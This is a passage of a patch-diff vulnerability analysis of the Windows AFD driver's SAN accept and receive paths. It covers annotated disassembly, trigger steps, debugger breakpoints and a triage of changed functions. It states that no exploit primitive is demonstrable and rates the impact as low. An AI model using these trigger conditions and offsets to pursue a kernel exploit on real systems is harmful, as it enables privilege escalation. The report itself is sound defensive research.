&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008241E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C00824F5&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;; cancelled -&amp;gt; cancel path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0082424&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; NEW feature gate&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0082429&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008242B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C008243A&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; feature off -&amp;gt; queue (legacy)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008242D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; NEW post-cancel state check&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0082434&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C00824F5&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;; byte set -&amp;gt; cancel path&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008243A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; ... link IRP into [rsi+0x70] pending list, return STATUS_PENDING ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00824F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; cancel path: pull cancel routine, ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C008253E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000120h&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_CANCELLED&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0082564&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0082567&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;IofCompleteRequest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;The producer — &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; @ &lt;code&gt;0x1C007F140&lt;/code&gt; (patched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007F1EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007F1F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007F1F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C007F235&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007F1F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; NEW: mark accept cancelled&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007F1FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; then drain the pending list&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007F202&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;; ... unlink loop over [ep+0x70] entries ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; @ &lt;code&gt;0x1C007D130&lt;/code&gt; neither writes &lt;code&gt;[ep+0x91]&lt;/code&gt; nor drains &lt;code&gt;[ep+0x70]&lt;/code&gt;; it unlinks only the single cancelling IRP and completes it with &lt;code&gt;STATUS_CANCELLED&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding #3 — &lt;code&gt;AfdIsValidTdiDeviceName&lt;/code&gt; @ &lt;code&gt;0x1C000896C&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- unpatched ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00089AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlEqualUnicodeString&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; exact match only&lt;/span&gt;
&lt;span class="c1"&gt;; --- patched ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00089A3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_2480880955__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00089AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00089C8&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; feature off -&amp;gt; exact match&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00089B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlFindUnicodeSubstring&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; feature on -&amp;gt; substring match&lt;/span&gt;
&lt;span class="c1"&gt;; ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00089D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlEqualUnicodeString&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; (feature-off branch)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;The behavioral difference between the two builds is observable only when &lt;code&gt;Feature_623580472__private_IsEnabledDeviceUsage()&lt;/code&gt; returns non-zero (the feature is absent from the unpatched binary entirely). Under that condition:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create an AFD SAN endpoint via the standard Winsock/&lt;code&gt;\Device\Afd&lt;/code&gt; path (socket create, bind/listen).&lt;/li&gt;
&lt;li&gt;Drive the endpoint's accept to be cancelled/torn down so that &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; runs. In the patched build this sets &lt;code&gt;[ep+0x91] = 1&lt;/code&gt; and drains &lt;code&gt;[ep+0x70]&lt;/code&gt;; in the unpatched build it does neither.&lt;/li&gt;
&lt;li&gt;Cause a further accept/receive request IRP to reach &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; / &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; for the same endpoint while its signature is still &lt;code&gt;0x1AFD&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the patched build the incoming IRP is completed with &lt;code&gt;STATUS_CANCELLED&lt;/code&gt; rather than linked onto &lt;code&gt;[ep+0x70]&lt;/code&gt;. In the unpatched build the IRP is linked onto the pending list of an endpoint whose accept was already cancelled.&lt;/p&gt;
&lt;p&gt;Note that the endpoint spinlock (&lt;code&gt;[ep+0x30]&lt;/code&gt;) serializes the cancel-accept drain and the queuing paths in both builds, and pending IRPs always carry a cancel routine (&lt;code&gt;AfdSanCancelRequest&lt;/code&gt;). Whether the unpatched ordering can be driven to an actual free-then-use of the endpoint is not demonstrable from these two binaries; see §6 and §10.&lt;/p&gt;
&lt;p&gt;For Finding #3, supply a TDI device name that contains a blocklist entry as a substring but is not byte-equal to it; it is accepted by the unpatched build and (with the feature on) rejected by the patched build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;No exploit primitive is demonstrable from the two binaries. The patched change is a state-validation guard added in the accept/receive redirect path; the pre-patch code lacks that guard but the material required to prove a reachable, controllable memory-corruption primitive (an actual free of the endpoint while a stranded IRP still references it, followed by an attacker-controlled reclaim and use) is not present in the disassembly or decompilation. The endpoint queuing and the cancel-accept drain both execute under the endpoint spinlock, and pending IRPs carry a cancel routine, so the ordering the guard defends against does not, on the evidence here, establish a controllable use-after-free. Any pool-grooming, information-leak, or token-manipulation follow-on would be speculation and is not asserted.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;For a follow-on analyst with a kernel debugger attached, the verifiable observation points are:&lt;/p&gt;
&lt;h3&gt;Finding #1 / #2 — the added guard&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_patched!AfdSanRedirectRequest+... ; at 0x1C0082424 (the Feature_623580472 call before queuing)
bp afd_patched!AfdSanFastCompleteRequest+... ; at 0x1C008143C (same call in the receive/accept handler)
bp afd_patched!AfdSanCancelAccept+... ; at 0x1C007F1F7 (the byte [ep+0x91] = 1 write)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;At the guard, &lt;code&gt;rsi&lt;/code&gt;/&lt;code&gt;r15&lt;/code&gt; is the AFD endpoint (signature &lt;code&gt;0x1AFD&lt;/code&gt; at &lt;code&gt;[ep+0x00]&lt;/code&gt;); inspect &lt;code&gt;[ep+0x91]&lt;/code&gt;. When the feature is on and the byte is non-zero, execution takes the &lt;code&gt;STATUS_CANCELLED&lt;/code&gt; path instead of linking the IRP into &lt;code&gt;[ep+0x70]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The unpatched binary has no &lt;code&gt;[ep+0x91]&lt;/code&gt; reference at all; confirm by disassembling &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; @ &lt;code&gt;0x1C0080198&lt;/code&gt; and observing that the only pre-queue gate is &lt;code&gt;cmp byte [rdi+0x44], 0&lt;/code&gt; at &lt;code&gt;0x1C008027A&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding #3 — name validation&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_patched!AfdIsValidTdiDeviceName ; 0x1C000896C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Observe the &lt;code&gt;Feature_2480880955__private_IsEnabledDeviceUsage&lt;/code&gt; call at &lt;code&gt;0x1C00089A3&lt;/code&gt; selecting &lt;code&gt;RtlFindUnicodeSubstring&lt;/code&gt; (feature on) versus &lt;code&gt;RtlEqualUnicodeString&lt;/code&gt; (feature off). The unpatched function calls only &lt;code&gt;RtlEqualUnicodeString&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Endpoint offsets referenced&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Signature (&lt;code&gt;0x1AFD&lt;/code&gt;; &lt;code&gt;0xAFD0&lt;/code&gt; after full teardown)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x02&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State (&lt;code&gt;4&lt;/code&gt; = accepting/listening)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Endpoint spinlock&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x50&lt;/code&gt;/&lt;code&gt;+0x58&lt;/code&gt;/&lt;code&gt;+0x60&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parent/context pointers (set by init)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x70&lt;/code&gt;/&lt;code&gt;+0x78&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending-IRP list anchor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x84&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sequence counter (init to 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x8c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Status (&lt;code&gt;0x103&lt;/code&gt;, &lt;code&gt;0xC0000016&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x90&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;New byte, unconditionally zero-inited (patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x91&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;New state byte; zero-inited feature-gated, set to 1 by &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; (patched only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Triage&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Delivered state-guard change (feature-staged behind &lt;code&gt;Feature_623580472__private_IsEnabledDeviceUsage&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; (&lt;code&gt;0x1C0080198&lt;/code&gt; → &lt;code&gt;0x1C0082338&lt;/code&gt;)&lt;/strong&gt; (sim 0.9456) — accept-redirect handler; adds the &lt;code&gt;[ep+0x91]&lt;/code&gt; gate before queuing. Finding #1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; (&lt;code&gt;0x1C007EF30&lt;/code&gt; → &lt;code&gt;0x1C0081030&lt;/code&gt;)&lt;/strong&gt; (sim 0.9609) — receive/accept fast-complete handler; adds the same &lt;code&gt;[ep+0x91]&lt;/code&gt; gate. Finding #2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanAcquireContext&lt;/code&gt; (unpatched &lt;code&gt;0x1C007C860&lt;/code&gt; → patched &lt;code&gt;0x1C007E830&lt;/code&gt;)&lt;/strong&gt; (listed in the diff as &lt;code&gt;sub_1C007C860&lt;/code&gt;, sim 0.3398) — a third consumer of the guard; reads &lt;code&gt;[ep+0x91]&lt;/code&gt; at &lt;code&gt;0x1C007EE79&lt;/code&gt; and &lt;code&gt;0x1C007EEB4&lt;/code&gt;. This is a real security-relevant change, not a cosmetic register reshuffle.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanCancelAccept&lt;/code&gt; (unpatched &lt;code&gt;0x1C007D130&lt;/code&gt; → patched &lt;code&gt;0x1C007F140&lt;/code&gt;)&lt;/strong&gt; (listed in the diff as &lt;code&gt;sub_1C007D130&lt;/code&gt;, sim 0.2588) — the producer: sets &lt;code&gt;[ep+0x91] = 1&lt;/code&gt; and drains the &lt;code&gt;[ep+0x70]&lt;/code&gt; pending list on accept cancel. The diff's matched patched counterpart (&lt;code&gt;sub_1c0048800&lt;/code&gt;, described as a TDI transmit/receive handler) is a same-address mismatch; the correct counterpart is &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; @ &lt;code&gt;0x1C007F140&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (&lt;code&gt;0x1C007C0CC&lt;/code&gt; → &lt;code&gt;0x1C007E0CC&lt;/code&gt;)&lt;/strong&gt; (sim 0.9912) — TDI accept path; inline endpoint init replaced by a call to the new &lt;code&gt;AfdSanInitEndpoint&lt;/code&gt;, which also zero-inits &lt;code&gt;+0x90&lt;/code&gt;/&lt;code&gt;+0x91&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdSanFastCementEndpoint&lt;/code&gt; (&lt;code&gt;0x1C007E6B0&lt;/code&gt; → &lt;code&gt;0x1C0080800&lt;/code&gt;)&lt;/strong&gt; (sim 0.9898) — connect/listen path; same migration to &lt;code&gt;AfdSanInitEndpoint&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Name-validation change (feature-staged behind &lt;code&gt;Feature_2480880955__private_IsEnabledDeviceUsage&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdIsValidTdiDeviceName&lt;/code&gt; (&lt;code&gt;0x1C000896C&lt;/code&gt;)&lt;/strong&gt; (sim 0.7674) — exact-match blocklist gains a substring-match path. Finding #3.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Feature-staged connection-creation dispatch (secondary; not a titled finding):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_1C0059BA0&lt;/code&gt;&lt;/strong&gt; (sim 0.0622) — the old connection-creation body at this address is, in the patched build, a small feature-check stub (&lt;code&gt;data_1c002b9a8 &amp;amp; 0x10&lt;/code&gt;) that dispatches between the legacy path and a new path (&lt;code&gt;sub_1c005ae64&lt;/code&gt;). The new path is reported to set &lt;code&gt;Options&lt;/code&gt; including &lt;code&gt;IO_FORCE_ACCESS_CHECK&lt;/code&gt; and a different &lt;code&gt;DesiredAccess&lt;/code&gt;. This is a feature-staged dispatch (old path retained), consistent with a defense-in-depth access-check tightening; no reachable memory-safety impact is asserted.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sub_1C00403C4&lt;/code&gt;&lt;/strong&gt; (sim 0.7562), &lt;strong&gt;&lt;code&gt;sub_1C004F090&lt;/code&gt;&lt;/strong&gt; (sim 0.9248), &lt;strong&gt;&lt;code&gt;sub_1C00598CC&lt;/code&gt;&lt;/strong&gt; (sim 0.9171) — add the &lt;code&gt;sub_1c0009c20()&lt;/code&gt; feature-gate to select the same legacy-vs-new connection-creation path, plus SLIST/reference updates. Behavioral but feature-staged; no independent reachable impact identified.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cosmetic / structural (no semantic security change identified):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sub_1C0047620&lt;/code&gt; (sim 0.3417), &lt;code&gt;sub_1C0058BA0&lt;/code&gt; (sim 0.9226), &lt;code&gt;sub_1C005B6B0&lt;/code&gt; (sim 0.9238), &lt;code&gt;sub_1C0038DB0&lt;/code&gt; (sim 0.9478), &lt;code&gt;sub_1C007D550&lt;/code&gt; (sim 0.9601) — reorganization, register/stack-slot renaming, and address updates. The low similarity on &lt;code&gt;sub_1C0047620&lt;/code&gt; reflects structural reordering rather than logic change.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;The diff reports zero unmatched functions in either direction. The new initializer &lt;code&gt;AfdSanInitEndpoint&lt;/code&gt; (&lt;code&gt;0x1C0082020&lt;/code&gt;) is reached by call-rewriting inside &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; and &lt;code&gt;AfdSanFastCementEndpoint&lt;/code&gt; and is not surfaced as a standalone added function in the diff output. The &lt;code&gt;+0x91&lt;/code&gt; state logic is therefore distributed across the initializer, the producer (&lt;code&gt;AfdSanCancelAccept&lt;/code&gt;), and the three consumers (&lt;code&gt;AfdSanRedirectRequest&lt;/code&gt;, &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt;, &lt;code&gt;AfdSanAcquireContext&lt;/code&gt;), all present in the changed set once the two mismatched entries in §8 are corrected.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence in the mechanism: high. Confidence in exploitable impact: low.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Verified directly against both binaries:
- Offset &lt;code&gt;+0x91&lt;/code&gt; is referenced nowhere in the unpatched build and is introduced only in the patched build.
- The full set of &lt;code&gt;+0x91&lt;/code&gt; sites in the patched build is: the feature-gated zero-init in &lt;code&gt;AfdSanInitEndpoint&lt;/code&gt; (&lt;code&gt;0x1C0082079&lt;/code&gt;), the set-to-1 in &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; (&lt;code&gt;0x1C007F1F7&lt;/code&gt;), and the read guards in &lt;code&gt;AfdSanRedirectRequest&lt;/code&gt; (&lt;code&gt;0x1C008242D&lt;/code&gt;), &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; (&lt;code&gt;0x1C0081445&lt;/code&gt;), and &lt;code&gt;AfdSanAcquireContext&lt;/code&gt; (&lt;code&gt;0x1C007EE79&lt;/code&gt;, &lt;code&gt;0x1C007EEB4&lt;/code&gt;).
- Both the queuing paths and the cancel-accept drain run under the endpoint spinlock at &lt;code&gt;[ep+0x30]&lt;/code&gt; in both builds.
- The whole change is gated behind &lt;code&gt;Feature_623580472__private_IsEnabledDeviceUsage()&lt;/code&gt;, which has no counterpart in the unpatched binary — a staged rollout with the pre-patch behavior retained in the feature-off branch.&lt;/p&gt;
&lt;p&gt;Why impact is rated Low and not High:
- There is no uninitialized-memory read in the unpatched build: &lt;code&gt;+0x91&lt;/code&gt; simply does not exist there. This is a new state flag, not an uninitialized field, so a "read of stale pool residue" characterization does not apply.
- The guard defends against a request IRP being queued onto an endpoint whose accept was cancelled (a dangling pending-IRP / use-after-free class window), but the two binaries do not establish that this ordering is reachable and drivable into a controlled free-then-use. The endpoint spinlock serialization and the always-present cancel routine argue against a straightforward controllable primitive.
- No information leak, pool-grooming, or privilege-escalation chain is demonstrable, and none is claimed.&lt;/p&gt;
&lt;p&gt;Items a follow-on analyst would confirm on a live target: the runtime default of &lt;code&gt;Feature_623580472__private_IsEnabledDeviceUsage()&lt;/code&gt;; whether the cancel-accept-then-requeue ordering is reachable from a stock Winsock sequence; and, if so, whether the endpoint can actually be freed while a stranded IRP is linked. Absent those, this is a Low-severity, feature-staged state-validation hardening in the AFD SAN accept/receive path, plus a Low-severity feature-staged blocklist tightening in TDI device-name validation.&lt;/p&gt;
